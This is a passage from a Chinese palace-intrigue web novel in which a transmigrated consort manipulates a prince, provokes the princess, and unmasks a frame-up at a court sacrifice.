瞥见他的腰下时,她匆忙移开眼,“您自己擦吧。” “本王连手都抬不起来,如何擦?”他的桃花眼戏谑的上挑,混不吝地等她伺候。 云清婳觑了他一眼,找了贴身太监进来伺候,她逃似的去了浴室。 裴墨染看见贴身太监就来气,两个男人有什么好看的? “滚!”他咬牙切齿的挤出一个字。 贴身太监还想劝说,可裴墨染自如的从榻上起身了。 他的体质向来强健,旁人可能须得三日恢复,他这会儿已经恢复七成了。 见状,贴身太监的嘴角抽搐了下。 好家伙,原来王爷在逗云侧妃玩呢。 啧,云侧妃这只小绵羊,要羊入虎口咯。 他快步离开,还交代婢女将门窗关紧。 云清婳沐浴完毕,从浴室回到寝殿。 青丝如墨像水藻似的披散在脑后,纤细的颈子显出绝尘的气质,她肤如凝脂,唇不画而红,杏眼弧圆,美得像是出水芙蓉。 她穿着藕粉色亵衣,亵衣的胸口处还用金线绣了几只飞燕,俏皮不失雅正。 裴墨染一瞬不瞬地凝望她,无波的眼底泛起涟漪,激起惊艳的水花。 云清婳走到榻边,她狡黠地轻眨眼睛,“夫君的身子如何?可恢复了力气?” “未曾。”他的声音喑哑。 她挑眉,利落地脱了绣花鞋,爬上榻,跪坐在他身边。 长发夹杂着芳草的馨香,萦绕在他的面前。 裴墨染看着她如月下仙子般姣美无瑕的面孔,心尖轻颤,恨不得将她好好疼爱一番。 他以为她想同他谈心,亦或是诉说这段日子的委屈。 可云清婳却伸手掐住了他的下巴,“大昭战神终于落在我手里了!” 裴墨染微怔,对于她的放肆,他非但不想怪罪,心里反而痒痒的。 她在他腰上、胸上到处乱掐。 “让您总是怀疑我!您现在落我手里了,我可不会怜香惜玉。”她的一双手在他身上作乱。 十指纤细,软而无力,掐了半天跟挠痒痒似的。 裴墨染配合地喊了几声疼,把她逗笑了。 她微扬下巴,黛眉一挑,恐吓道:“您现在可要讨好我,不然我就欺负您。” 说着,她捧着他的脸一阵蹂躏。 “真是放肆!”裴墨染似真非真的训斥。 她埋首,大胆地在他脸上咬了一口,“哼!我就放肆!您派人把我抓走啊,反正您方才心里就是这么想的。” 云清婳就是要在温存中不断冲击他的底线,让他在不知不觉把她视作平等的人。 他如今只是不受宠的王爷,没有接触到权力中心,这时的感情一定有几分纯粹。 只有这时才可能抓住他的整颗真心。 裴墨染一噎,原来她早看出来了。 “第一贵女就这样对待夫君?”他面不改色地揶揄。 她轻哼了一声,“大昭战神也不怎么样,浑身软趴趴的。” “……”裴墨染又被哽住。 他发现他说不过她,以前她被他戏弄,只是因为她不敢还嘴罢了。 云清婳见他不悦,立马暂停,她起身将床帐放下,“夫君,太晚了,睡吧。” “嘶……”裴墨染单手捂着胸口,神情痛苦。 云清婳忙俯下身,“怎么了?是不是妾身又把您气着了?” 裴墨染的嘴角噙着坏笑。 “夫君,您别吓蛮蛮。”云清婳娇憨的鼓着嘴,作势要哭。 裴墨染猝然跪起身,反扣着她的双手将人按在榻上,一招制服,“真是反了天了!真当本王拿你没办法?” 他觉得不解气,又在她屁股上拍了几下。 “疼……”她千回百转的娇啼。 “以后还敢不敢了?嗯?”他贱兮兮地凑在她面前,笑问。 云清婳的眼泪噗噗往外冒,“您欺负人,您打我,您打我……” 她是真的生气了,这个死直男! 胜负欲这么强! 一言不合就擒拿她! 裴墨染有种中计的感觉,她怎么玩不起啊? 当然,他没敢说出口。 “本王跟蛮蛮闹着玩呢,本王哪舍得打你?嗯?”他放开她,手足无措的将人拉进怀里哄。 他吻着她的眼泪,心里焦灼。 云清婳只是一味地哭,就是不理他。 裴墨染常年混在军营,哪懂怎么哄人? “别哭啊,那你想怎么样?你也打本王?”他攥着她的手,使劲往自己胸口打。 云清婳缩回手,哽咽道:“夫君,妾身困了。” 裴墨染不敢招惹她,“好。” 他将她塞进被褥里,吻去她眼角的泪。 趁着裴墨染转身,云清婳伸手在他翘臀上拍了一巴掌。 他浑身一僵。 半晌,他回过身,冰着脸垂眸,居高临下地盯着她。 他虽离京十年,不拘小节惯了,可毕竟是皇子,怎能被女人打屁股? 云清婳犯怵,正想跪下告罪时,裴墨染俯身,凶狠地堵住她的唇,“今夜不必睡了!” 撩拨的后果是云清婳承受不住的,她感觉腰都快散架了。 …… 肃王府后门。 宝音下半身的衣裙都是血,布料跟烂肉黏在了一起,她趴在地上,扯着赵婉宁的衣裙,“王妃,奴婢不想走,奴婢还想要伺候您啊……” “宝音,我会让你回来的,这些银子你先拿着,我不会抛下你的。”赵婉宁从袖中拿出鼓鼓囊囊的钱袋递给她。 第38章 发现赵婉宁的秘密 宝音犹如吃了定心丸,她捏着钱袋流出泪来,“王妃,日后奴婢不在您身边,您一定要当心,千万别被贱人算计了!王爷心里是有您的,您别要强了……” 赵婉宁抹去眼泪,“我知道了。” 门关上的瞬间,赵婉宁嫌弃地用帕子擦手,眸中闪过怨意。 若不是宝音,裴墨染怎会用那么失望的眼神看她? 方才,裴墨染一定被她伤着心了。 他一定很难过吧。 思及此,赵婉宁反而放心了。 这恰好说明了裴墨染在意她。 …… 翌日。 天蒙蒙亮,贴身太监就拍门提醒上朝了。 云清婳松软地支起身子,腰酸疼得厉害,让她倒吸了口凉气。 “歇着,不必你伺候。”裴墨染抓住她的手腕,微微使力,小身板又被扯进他怀里。 云清婳可不敢放松警惕。 昨晚她已经放肆够了,今日再放肆,等裴墨染心中的情欲褪去,理智回笼,尽管是他允许,他也会觉得她在恃宠而骄。 她不能在他心里留下任何把柄。 “夫君嫌弃妾身?”云清婳娇嗔。 裴墨染勾勾她的下巴,嘴角上扬,“本王岂敢?你的眼泪都能把人淹死。昨晚累坏了吧,快睡。” “可是,妾身想多跟夫君相处一会儿。”她的声音跟猫儿似的又小又细。 却重重地撞在了裴墨染的心上。 一种看不见的情愫在他的心里生根发芽,藤蔓遍布。 这种感觉很奇异,让他心下莫名愉悦,中药的身子仿佛都充沛了精气神。 裴墨染离开前,云清婳抓住他的袖子。 尽管他心里是高兴的,可也觉得不妥。 在皇权面前,儿女私情不值一提。 蛮蛮太过沉湎情爱,只会耽误他。 他需要一个头脑清醒的侧妃。 “何事?”他的语气淡了几分。 云清婳看出了他的不耐烦,仍旧一脸清澈,“夫君,王妃昨晚失去了宝音,必定很难过。您千万不要迁怒她,其实王妃也深受其害,若是能得您关怀,她会舒心的。” 裴墨染没想到她要说的是这个。 他又误会她了。 “宝音想害的是你,你还心疼她们?”裴墨染又是无奈又是怜惜她的心善。 她怎么总想着别人? 自己都被欺负成什么样了。 云清婳抿了下唇,像是极力憋住眼泪,“妾身不是心疼王妃,而是心疼夫君。昨晚的事若是传出去,未免会伤了肃王府的颜面。” 王妃的心腹毒杀王爷,多招笑啊。 旁人会怎么想? 裴墨染看云清婳的眼神中多了几分欣赏。 就算她不说,他今晚也打算去清心阁。 蛮蛮总是在顾全大局,维持所有人的体面。 而赵婉宁偏偏不要脸面! 光是想想都心累。 “今晚本王去陪王妃用膳,不必等本王。”裴墨染张开双臂抱她。 “是。”云清婳的表情有些失落。 送走裴墨染后,云清婳揉着酸痛的后腰,被飞霜搀扶回到床榻上。 狗男人可算走了! 云清婳侧躺着,眼波流转间尽显妩媚,“赵婉宁昨晚宁愿激怒裴墨染,都要保住宝音,真有意思。” “赵婉宁亲自送走了宝音,还给了她一大笔钱,我倒觉得不是主仆情深,更像是有什么把柄,攥在了宝音手里。” 话落,飞霜的视线撞进了云清婳的瞳中,二人相视一笑。 “没错!”云清婳搅着胸前的青丝,“赵婉宁的病查得怎么样了?” 飞霜的双眼瞬间晶亮起来,眉飞色舞,像是有惊天发现。 她从怀里拿出包裹着药渣的手帕,“主子,可不得了了!药里有覆盆子、桑螵鞘、金樱子,都是固精缩尿的方子,赵婉宁十有八九漏尿!” 云清婳瞪圆了眼,“漏尿?这是怎么回事?” 飞霜敛起笑意,几分唏嘘道:“这可不好说!不过左不过是男女那档子事造成的,赵婉宁如果没跟王爷圆房,那只能说明她……偷过人?” “我们别猜来猜去了,不是有现成知道答案的人吗?”她俏皮地挑眉。 飞霜福至心灵,“我这就派人盯紧宝音。” …… 赵婉宁本以为裴墨染会跟她赌气、冷战。 可没成想,天一黑,他便来了。 她受宠若惊,既欣喜又感动,难得欠身福礼,“臣妾见过王爷。” 她实在太害怕失去现在所拥有的一切,在不知不觉中开始谄媚讨好、俯首称臣。 裴墨染看着眼前的人,只觉得陌生。 他脸上的笑意不达眼底,轻抬手指,“免礼。” “王爷,臣妾还以为您对臣妾失望了,再也不会来看臣妾了。”赵婉宁扑进他怀里,眼泪脆弱地从眼眶滑落。 换作以前,裴墨染早就心软了。 可现在,他只觉得可笑。 她分明知道后果,可还是做了,她可曾在乎过他? “别哭了,错不在你,本王怎会怪罪?”裴墨染不动声色地将她推开,伸出手为她揩去眼角的泪。 赵婉宁破涕为笑,“王爷,臣妾立即命人备膳。” 裴墨染似笑非笑地坐在主位,食指敲击着桌案,稍显漫不经心。 用膳时,赵婉宁全程看着他,热切地为他搛菜。 虽然他们跟往常一般亲昵,可好像有什么悄然改变。 她心中的不安仍旧在无限放大,就好像是握在手里的风筝,飞走了。 赵婉宁实在心慌,忍不住试探:“王爷,臣妾日后一定做好王妃的本分,为您分忧。臣妾真的好害怕您对云妹妹上心,忘了臣妾。” 裴墨染的脑海中对应浮现出云清婳撒娇卖乖的画面。 蛮蛮是那样的天真单纯。 “别怕,只要你守好本分,没人会越了你。”裴墨染的安抚中,多了一丝敷衍。 用过晚膳,赵婉宁红着脸,低声道:“王爷,臣妾准备好了……” 不必明说,裴墨染也知道她指的是圆房。 “本王政务繁忙,你好生歇息。”他毫不留情的拒绝,转身就走。 赵婉宁像是被淋头泼了冷水。 这简直是奇耻大辱! 她的眼底闪过怨毒的光,“云清婳这个贱婢!” 裴墨染并没有说谎,他当晚去了军廨。 之后的一个月,他几乎没回过王府,每日辗转各处。 大昭重文轻武,除了开国的前三任皇帝,历代帝王均没有武将出生的先例。 裴墨染虽然战功赫赫,但回京后并没有得到皇上的正式任命,其他皇子的权力分散在各部,而他只能在军廨无所事事。 他向皇后、裴云澈明情后,又先后拜访了祝国公、云丞相,想要谋得官职,可是均未收获进展。 他好似陷入绝境,困顿不堪。 …… 玄音阁。 云清婳收到了云二公子的信笺,她扫了一眼,阅后即焚。“裴墨染守国门十年,立下了汗马功劳,可回京后备受冷待,就连最不起眼的皇子都在各部有权,他却只有闲职。” 飞霜笑问:“主子可要帮帮王爷?” 第39章 蛮蛮爆发了 云清婳似远山的眉峰一挑,“帮是要帮的,不急。” 她可是奸商,只做一本万利的买卖。 狗男人休想空手套白狼! 这次,她想要管家权! “这样也好,得到太容易,长此以往,王爷会觉得是云家欠他的!”飞霜分析。 云清婳满意的颔首,她就喜欢拎得清的合作伙伴。 赵婉宁自诩是大女主,可实则是恋爱脑。 为了封建男人要死要活,同为现代人,她为赵婉宁感到耻辱。 “宝音今日有什么动向?”她的眼底蕴着戾气。 让赵婉宁失宠可不够,她想要的是赵婉宁的命啊。 飞霜蹙眉,“宝音住在京郊养伤,钱花完了,来找了赵婉宁几次,都被咱们的人轰走了。” 云清婳轻蔑地笑了,她摇摇头,“那咱们便帮赵婉宁测测,看宝音究竟有多忠心。” “是。”飞霜眼中满是玩味。 …… 月底是祭祀大典。 以往裴墨染不在京城,都是赵婉宁一人参加。 今年裴墨染预备带云清婳一同入宫。 这个消息让赵婉宁狂躁地又砸了一地的瓷器。 婢女青樱忙命人收拾碎片,封锁了清心阁的躁动。 她曾经是宝音的副手,也是赵婉宁从娘家带来的婢女。 青樱扶着赵婉宁坐在软榻上,担忧道:“王妃,您万不能表现出恼火,否则王爷会觉得您善妒,甚至把宝音投毒之事与您联想在一起。” 赵婉宁的手吓得轻颤,她只好把火气压下,“一想到贱人要跟我和王爷出席祭祀大典,我就心火难平!我恨不得撕碎她!” 若是以前,她就算拿剑划伤云清婳的脖子,裴墨染也不会有二话。 可现在,她不敢赌。 “王妃,不急于一时。云家不过是王爷登高的垫脚石,现在还有大用处。日后等您母仪天下,就算把云清婳这贱人赶去掖庭,王爷也不会说什么。”青樱苦口婆心地劝。 赵婉宁想到将来凤印在手,风光无限的模样,火气渐渐小了,“说得不错,你叫什么名字?重赏!” 青樱惊喜地咧嘴笑,她跪下谢恩,“奴婢叫青樱。” “你叫青樱?这名字不好,你长得跟那贱人倒是挺像的,改名叫青花吧。”赵婉宁的嘴角扯出恶意的笑。 青樱蹙起了眉。 王妃这是想拿她泄愤,把云清婳比作婢女。 可这谐音未免也太明显了。 “可是王妃……” 话还没说完,赵婉宁就用鞋挑起她的下巴,威胁道:“还不谢恩?” “是,青花谢恩。”青樱含泪叩首。 …… 花园。 云清婳赏花时,正巧赵婉宁带着人穿过了拱圈门。 在海棠花的映衬下,云清婳画一般的眉眼,更显妩媚娇俏,就像花中仙子。 尽管穿着一身素净的青色襦裙,未施粉黛,可阳光好像都偏生爱重她,光影穿过树缝落在她深邃却小巧的脸蛋上,周围的一切花都黯然失色。 赵婉宁看见她便一肚子火气,可偏生不能发泄,她狠狠地伸手折断了花枝,“回寝殿吧。” 青樱松了口气,她扶着赵婉宁正欲走,花丛后便传来嬉笑声。 “主子,王爷赏您的蜀锦罗裙,听闻单单您有,王妃都没有呢。”飞霜的笑容像是蜜糖,真心为自家主子高兴。 云清婳拿着一朵海棠,轻点了下她的鼻尖,“去你的!小声些,若是王妃知道了,夫君又不好交代了。” “这有什么?您跟王妃都是王爷的妻子,王爷可以宠爱王妃,自然也可以宠爱您啊。”飞霜不以为意地瘪瘪嘴。 这番话彻底点燃了赵婉宁,就像戳到了她心里最深处的痛。 她眸子猩红的大步上前。 只有她才是裴墨染的正妻,云清婳只是一个贱婢! 谁也别想抢走她女主的身份! 青樱想拉都拉不住。 云清婳瞥见了抄手游廊拐角处的银色盔甲,眼底跳动着兴奋的光。 “贱婢!放肆!”赵婉宁尖细的声音充斥着花园。 她一把推开飞霜,巴掌朝着云清婳高高落下。 云清婳轻而易举扼住她的手腕,杏眸圆睁,“王妃,您这么做什么?” “你们敢私下议论本妃,本妃只好教教你规矩!”赵婉宁狠狠甩开她。 云清婳顺着她的力道,踉踉跄跄地后退,险些跌倒。 她不卑不亢道:“王妃,妾身并未说您的坏话。更何况就算妾身说了,这巴掌也该王爷打!轮不到您来打!” “好啊!你还要骑到我的头上了?我堂堂肃王妃还管不得一个妾了?”赵婉宁的面颊气得通红。 青樱想要将她扶走,可赵婉宁纹丝不动。 “云侧妃,王妃宽宏大量,您跟王妃道个歉此事便作罢!此事本就是你们不对在前。”青樱挤挤眼,想息事宁人。 云清婳目光如炬,言辞透着讥诮跟挑衅,“还请王妃注意风度!先前您克扣玄音阁,我已经压下。但今日您这巴掌若是落下,云家乃至整个京城都不会容您!” 这并不是夸张! 她是京城第一贵女,言行举止都是风范、标杆,她挨了巴掌,不会有人怀疑她有问题,但是施暴者的脊梁骨会被戳碎。 “你在威胁我?别以为王爷真对你上心了,他不过是跟我赌气了,故意拿你气我。我今日倒是要看看,这巴掌落下究竟会怎么样!” 赵婉宁是冲动的性子,更何况被向来软弱的云清婳挑衅? 她扬起巴掌,就往云清婳的脸上招呼。 云清婳不躲不闪,她赌气地挺着颈子,似乎就等这巴掌落下。 烈烈掌风刮来,巴掌快要接触她的脸蛋时,一个高大的身影来到她的身后,紧紧攥住了赵婉宁的手腕。 “放肆!”裴墨染低吼。 “王爷……”赵婉宁吓得缩回手,腿肚子一抖,脸上的血色瞬间消失。 大白天的,裴墨染怎么回来了? 裴墨染双目含怒,脸上像是笼罩了一层阴霾,通身凌冽,“王妃,光天化日之下掌掴云妃,你可有一丝一毫皇室风度?” “王爷,不是您看到这样!”赵婉宁的双眼酸涩,“是她挑衅我在先的,是她……” “够了!本王听得一清二楚,蛮蛮处处为你着想,没有丝毫不敬。”裴墨染暴躁地打断她的话,“王妃若是再粗鲁行事,明日的祭祀就不必去了!” 王府上上下下都有眼线。 婉宁实在太冲动了! 赵婉宁扑通一声跪倒在地,她又气又怵,委屈地哭出了声。 青樱扶着她,赶紧走了。 第40章 云清婳是茶艺大师! “蛮蛮,没事了,别怕。”裴墨染安抚的说,“日后不要意气用事,若是王妃伤了你怎么办?” 方才眼看着婉宁的巴掌落下,他的心狠狠抽了下。 若是蛮蛮真挨了打,他会心疼的。 “妾身都要被扇脸了,连生气的资格都没有吗?是了,毕竟妾身只是您跟王妃吵架时的消遣。”云清婳自嘲地笑了声,她仪态端庄的福身告退。 裴墨染暴躁地一拳砸上假山,假山掉下来不少渣滓。 他知道,蛮蛮在怪他没有处置赵婉宁。 …… 云清婳泫然欲泣地回了玄音阁。 寝殿大门阖上的瞬间,她委屈的神色一变,扬起了轻蔑的嘲意。 “赵婉宁个蠢东西,果然一激将就上钩了!她今日若是敢动您一根指头,奴婢定饶不了她。”飞霜的鼻中发出冷哼。 云清婳讳莫如深,她指了下纱橱,“命人将蜀锦送去清心阁。” 这身蜀锦如今就是烫手山芋,若是收下了,裴墨染反而会觉得她得了便宜,赵婉宁受了亏欠。 所以赵婉宁的歇斯底里是合理的。 “是。”飞霜尽管不愿,但还是照办,“赵婉宁真是上不了台面,居然把婢女改名叫青花,故意膈应您。” 云清婳依靠在贵妃榻上,单手撑着侧脸,食指悠闲的轻点鬓角,“无能狂怒罢了,不排遣一番,她岂不是要被我气疯了?” 飞霜嗤笑起来,“是啊!她也就这点本事了。” 云清婳阖上眼,静静回想着祭祀大典上的剧情。 明日会有一出惊心动魄的大戏。 裴墨染会当众受辱,被皇上冷落,姐姐花了足足一年时间才查出真相,还了裴墨染清白。 那时,裴云澈已经当上了太子。 裴墨染为了夺嫡,又要跟裴云澈斗法…… 既然事先知道了剧情,她绝不会让裴墨染失势,白白蹉跎一年。 相反,她要加快裴墨染入住东宫的进程,毕竟他是她复仇的刀子! …… 书房。 裴墨染跟诸葛贤讨论了一下午谋求官职的事。 最终,他们把目标落在了北镇抚司上。 睿王为人奸诈却儒弱,掌管北镇抚司三年,可重案要案一个都查不出来,政绩平平。 他是最好被撬动的人。 黄昏将近,日暮西垂,裴墨染留诸葛贤用膳。 诸葛贤矍铄的双眼恍若洞悉一切,他拱手,“王爷今日心绪不佳?” “什么事都瞒不过先生的眼睛。” 他叹息一声,将今日花园中的事说了出来。 “云妃真是恃宠而骄,本王已经护着她了,她还想如何?”裴墨染恼火不已。 诸葛贤捋着花白的胡子,不禁摇头,“老夫拙见,妇人口舌之争,不足以费心。可各打五十大板,实则在助纣为虐啊。” “云侧妃忤逆王爷固然德行有失,可在此之前,云侧妃的言行举止挑不出错处!” 裴墨染很不满他帮着云清婳说话,心乱如麻,“本来可以息事宁人,可她却针锋相对,先生不觉得云妃火气大了些?” “真的可以息事宁人吗?今日若是王爷不在,云妃必会挨巴掌,到时候满京都会唾弃肃王府苛待人,到那时拖累的就是王爷了。”诸葛贤后怕地长叹一声。 他被一噎。 婉宁的性子,他是知道的。 她手段狠辣,冲动易怒,不计后果。 她想打蛮蛮巴掌,就一定会打! 诸葛贤又慢条斯理道:“云侧妃是相府嫡女,从小到大是按照当家主母来教养的,主母的性子必不会软弱。云侧妃此次发怒,倒是在情理之中。” 说着,他深深鞠了一躬便告退了。 裴墨染甩袖,“这老东西,不就是蛮蛮帮忙治好了腿?就净帮她说话。” 贴身太监见缝插针道:“王爷,时候不早了,该用膳了。” “就在花厅用。”他哪里都不想去。 裴墨染瞥见他的唇瓣翕动,冷嘁一声,傲然道:“想说什么就说吧。” 贴身太监干笑了两声,躬身道:“王爷,奴才养过乖猫跟恶猫,可没时间照顾,送走了一只,您猜奴才留下了哪一只?” “乖猫?”裴墨染用看白痴的眼神看他。 贴身太监摇摇头,“奴才怕恶猫亮爪伤人,被亲友嫌弃虐待,只好忍痛送走了乖猫。” 裴墨染心头咯噔一响,瞬间有种通透感。 蛮蛮便是太乖了,以至于,她为了自保,只是亮了一次爪,便被他训斥无礼。 而真正作恶的人,却没什么事。 “滚下去领赏。”他的脸上翻涌着复杂的神色。 “多谢王爷。”贴身太监美滋滋地跪下谢恩。 裴墨染心中有愧,可实在拉不下脸面去玄音阁服软。 毕竟今日蛮蛮在花园当众冲他发脾气、顶撞,他堂堂肃王,怎能被女人训斥? …… 第二天清晨。 云清婳经过御花园时,恰好在抄手游廊遇见裴墨染。 裴墨染侧身对她,二人像是恰好撞见。 飞霜极力控制着抽搐的嘴角。 这偶遇,确定不是处心积虑得来的? “见过王爷。”云清婳似笑非笑的福礼,仪态端庄。 她穿着鹅黄色的妆花绸缎裙,配了水月色锦绣袖衫,梳着堕马髻,发间插着银色满钿跟一支金钗。 云清婳描了眉眼,黛眉柔似雾,双颊扫了淡淡的桃色胭脂,妖颜若玉。从前她婉约素雅似一株睡莲,可今日美艳得不可方物,更像是一朵艳色菡萏。 裴墨染眼眸一挪,看到她明艳的小脸时,心脏骤然一缩,随后便是剧烈的跳动。 他还是第一次见她上妆,只窥见她素面朝天便已是人间绝色,却没成想那只是她敷衍的模样。 “走吧。”裴墨染试探性的抓住她的手,“为何没穿昨日送你的蜀锦?满京只有一匹了。” 云清婳僵硬的被他牵着,不语,“……” “今日没戴梳篦?本王发现近来满街女子发间都有梳篦。”裴墨染没话找话说。 这还是无意间从婢女闲聊时听到的,据说京城所有女子都会模仿蛮蛮的衣着打扮。 “嗯……”云清婳随口应声。 裴墨染有些窝火,哄也哄了,但她不肯下台阶,他也懒得讨好。 一路无话,二人到了垂花门。 赵婉宁穿着浅紫色的蜀锦罗裙站在马车边,已然等候多时。 “王爷……”她看到二人紧握的手,眼神倏地冰冷。 裴墨染看到赵婉宁身上的衣裙,不由得蹙眉。 原来蛮蛮把蜀锦送给婉宁了。 她又受委屈了。 裴墨染的心莫名不好受,他抓紧了云清婳的手。 “王妃跟王爷同乘一车便好,妾身不敢僭越。”她将手抽出来,头也不回地转身。 赵婉宁装模作样地开口挽留,“云妹妹,可是我昨日吓到你了?都是我不好,你千万不要怪罪。” “妾身不敢。”云清婳说着,上了马车。 裴墨染对赵婉宁的表现感到欣慰,可想到云清婳不由得心塞。 他满脑子都是她隐忍、失望的脸。 上了马车,赵婉宁挽着他的胳膊,她娇声道:“王爷,云妹妹身子弱,恐怕受不了跪拜之礼,其实臣妾一人是能应付的。” 裴墨染不动声色地推开她的手,略带不耐道:“人情世故,你应付得来吗?” “……”赵婉宁哑口无言。 她面皮烧红,心里委屈。 从前,裴墨染都不会嫌弃她的。 …… 皇宫。 祭祀大典伊始了。 皇家礼乐声势浩大。 皇上、皇后率领后宫、全臣在殿外跪拜神像,祈求风调雨顺,天下太平。 这一跪,便是一炷香的功夫。 紧接着,便是皇子们进入神殿,依次跪在蒲团上,上香祈福。 “愿大昭风调雨顺,国运昌隆。”大皇子早夭,首先跪在蒲团上祈福的是二皇子。 然后便是裴云澈,他接过香虔诚拜了三拜,恭恭敬敬地叩首,“愿河清海晏,时和岁丰。” 皇上坐在尊位上,捋着胡子,眼神中的慈爱快要溢出来。 这是明晃晃的偏爱,任谁人都看得出来。 皇后见状,嘴角勾起一抹骄傲的弧度。 而虞贵妃冷哼,眼底全是奚落跟阴狠。 接下来便是裴墨染,他恭敬跪在蒲团上叩首,一字一顿的说:“日月山河永在,大昭江山永在。” “四皇兄真是雄心壮志啊。”睿王阴恻恻的声音从身后飘来。 紧接着,神殿中猝然传出一声尖叫。 啊—— “血!” “神像的眼睛流血了!” “有灾星克神!” 神桌上的巨大神像双眸泣血。 臣子、后妃都恐慌的看着裴墨染。 裴墨染的身子僵硬了一瞬间,他面色冷沉,平淡得压下一切情绪,让人看不出波澜。 第41章 云清婳来逆风翻盘 群臣慌乱,嘈杂的议论声充斥着神殿。 皇后的眼中尽是惊惧,脸都吓白了,瘫坐在位上一动不敢动。 随着皇上的脸沉了下去,私语声骤然消失,强大的压迫感让众人埋下了头。 皇上如鹰隼般狠厉的眸子,剜着跪在蒲团上的裴墨染。 裴墨染坦然、赤诚地跟皇上对视。 “混账!还不滚到一边去!”皇上指着他怒吼。 裴墨染磨着后槽牙,双手攥拳,隐忍地跪着挪到一边,不再对着神像。 “陛下,神像泣血,恐怕是……凶兆啊!”虞贵妃扑通一声跪在大殿上。 紧接着,虞将军一党的武将纷纷下跪,“微臣惶恐!灾星降世,冲煞神像!” 皇上捋着胡子,脸色波澜诡谲,高深莫测,让人捉摸不透。 “父皇,祭祀关乎国祉民生,哪怕错怪一千,也不能放过一个啊。神像几百年来从未泣血,可为何四皇兄回京,第一次祭祀就……”睿王跪下,拱手说道。 “父皇,为了国运,必不能放过灾星啊。”几个皇子也跟着跪下。 他们都不约而同看着裴墨染。 裴墨染双手攥着衣袍上的布料,极力隐忍,心里只觉得一群鼠雀之辈可笑至极。 他露出惶恐的神情,红着眼道:“父皇,此事与儿臣无关,必有冤情!” “四皇兄放心,若是有冤情,本王必会让北镇抚司严查,还你一个公道!”睿王的眼神略带挑衅。 裴墨染的眼底滚动着滔天杀意,浑身的戾气骇人,可全被他自如地收敛住。 北镇抚司是睿王掌管,还不是他想怎么查,就怎么查? 他看向皇后、裴云澈,可他们噤声不语,就像是害怕脏水泼在身上。 “肃王不吉,冲煞神像,唯恐霍乱大昭,即日起禁足肃王府。”皇上吐出一口气,似有不忍地缓缓说道。 “吾皇英明!”虞家一党的武将整齐地叩首。 虞贵妃、睿王低下头,极力隐藏着眼中的得意。 赵婉宁、云清婳早就跟着跪下谢罪。 但二人的心境完全不同。 赵婉宁的心中在窃喜。 因为她知道后续剧情,谢容音在之后的一年里不断探查真相,最终在京郊的竹林抓到了睿王妃心腹,通过心腹为裴墨染平反。 只要她救裴墨染于水火,裴墨染一定会不计前嫌。 “还请陛下开恩,臣妾有事请奏!”云清婳叩首,高声道。 云丞相见状也带着半数文臣跪下,“还请陛下开恩!此事疑团重重,肃王为国鞠躬尽瘁十载,护佑大昭河山,必有冤情!” 祝国公也站出列,“肃王驱逐瓦剌,平定西北,若是禁足了肃王,恐怕寒了民心啊。” “求陛下开恩。”文臣跪下,异口同声道。 裴云澈这时才现身,“求父皇开恩。” 皇上冰封的面孔有了松动,不等他说话,睿王立即道:“父皇,此事关乎国运,怎可姑息?” “云侧妃真是好没规矩!皇家说话,容得你插嘴?”虞贵妃尖细的声音刺着她。 睿王咄咄逼人:“云侧妃可是第一贵女,行事做派就这般随意?本王说过,日后会让北镇抚司彻查此事,你究竟是不信任本王还是不信任父皇?” 一顶大帽子扣下,神殿瞬间鸦雀无声。 裴墨染深深地看着云清婳,心中最柔软的部分像是被戳中,百感交集。 云清婳不卑不亢道:“睿王误会了,臣妾只是以为这种小把戏,不必惊动北镇抚司,只需侍卫稍稍探查,便可知道真相。” “哦?你有主意?”皇上挑眉,轻抬下巴示意她说下去。 她字正腔圆道:“神像的眼睛流出来的不是血,而是红蜡。下面的火盆在烧,只需片刻,第二个、第三个祭拜者,必有其一会受到牵连。” “此人心思歹毒,是想嫁祸贤王、睿王啊!”云丞相痛心地惊呼。 半数文臣纷纷搭腔,“太歹毒了!真是太恶毒了!” 关乎神像,半数人真被吓到了。 但另一半人早就猜想到了,但涉及党争,敢站出来说的只有她。 皇上瞥了一眼御前侍卫。 侍卫走到神像前用指腹揩去红色痕迹,“禀陛下,的确是红蜡。” “查!”皇上的眼风一厉,掷地有声地吐出一个字。 虞贵妃、睿王的脸色变了又变,方才滔滔不绝的二人彻底噤了声。 此刻,赵婉宁的心中只有一个念头。 那便是希望查不出来! 最好让裴墨染禁足,她将来就能成为他的救世主。 而云清婳只觉得赵婉宁可笑! 只会顺应剧情,不会利用剧情,简直蠢钝如猪。 穿书名额给这种人,真是浪费。 裴墨染的眼神穿过人群,落在云清婳身上。 云清婳递给他一个坚定的眼神。 他的心头骤然一暖,像是狂风暴雨中的扁舟有了归处。 只过了一个时辰,侍卫总管便拖着一个被打得半死的太监押在殿中。 “陛下,就是他昨夜在神殿守夜,偷偷往神像的眼中抹了蜡。”侍卫拱手。 皇上负手而立,眼神戏谑地在几个儿子中逡巡,“幕后主使是谁?” 侍卫总管朝手下使了个眼色,御前侍卫威风凛凛地转身,朝着虞贵妃走去。 虞贵妃的瞳孔微震。 可御前侍卫只是越过了虞贵妃,来到了睿王妃夏子萱面前。 他们一把抓住了夏子萱身侧婢女喜枝的肩膀,将人拖到了殿中央。“是喜枝,她前些日子给了太监银钱,让他在神像眼中涂蜡。” “冤枉啊!奴婢什么都不知道!”喜枝边哭边磕头,“奴婢跟肃王无冤无仇啊,怎会陷害肃王?” “冤枉啊!定是有人想给睿王泼脏水!” 皇上的眼神轻蔑,就像在看一只蝼蚁,他轻声道:“审!” “是!”御前侍卫将喜枝拖了出去。 夏子萱眼中浮现出一丝不忍,可更多的是安心。 喜枝是忠仆,曾经为他们挡过箭,绝不会叛变。 就在喜枝从云清婳身边经过时,云清婳低声念道:“张喜君、张喜娣。” “……”喜枝的眼中出现了惊恐。 不一会儿,御前侍卫就来复命,“喜枝咬舌自尽了!自尽前,她招了,说是睿王妃指使的!” 夏子萱登时瘫倒在地,脸色惨白,像是难以置信,“不……皇上,这贱婢冤枉臣妾!这贱婢冤枉臣妾啊!” “哦?既然睿王妃是冤枉的,莫非指使喜枝的另有其人?”皇后的眼尾上翘,兴奋的目光落在虞贵妃身上。 虞贵妃的眼中滚动着恨意,她回身威胁地瞪了一眼夏子萱,软声说:“皇上!您相信臣妾啊,臣妾身处后宫,怎会跟王妃的婢女有勾结?” 夏子萱浑身颤抖,眼泪扑簌簌地流,“臣妾什么都不知道!臣妾是冤枉的,臣妾是冤枉的啊……” “贱妇!究竟是怎么回事?为何你的婢女鬼迷心窍,陷害四皇兄?”睿王立即撇清关系。 夏子萱似是惊讶,眼眸瞪得浑圆。 睿王一伙人乱了阵脚,起了内讧。 没有相互攀咬都算好的。 众人看起了笑话。 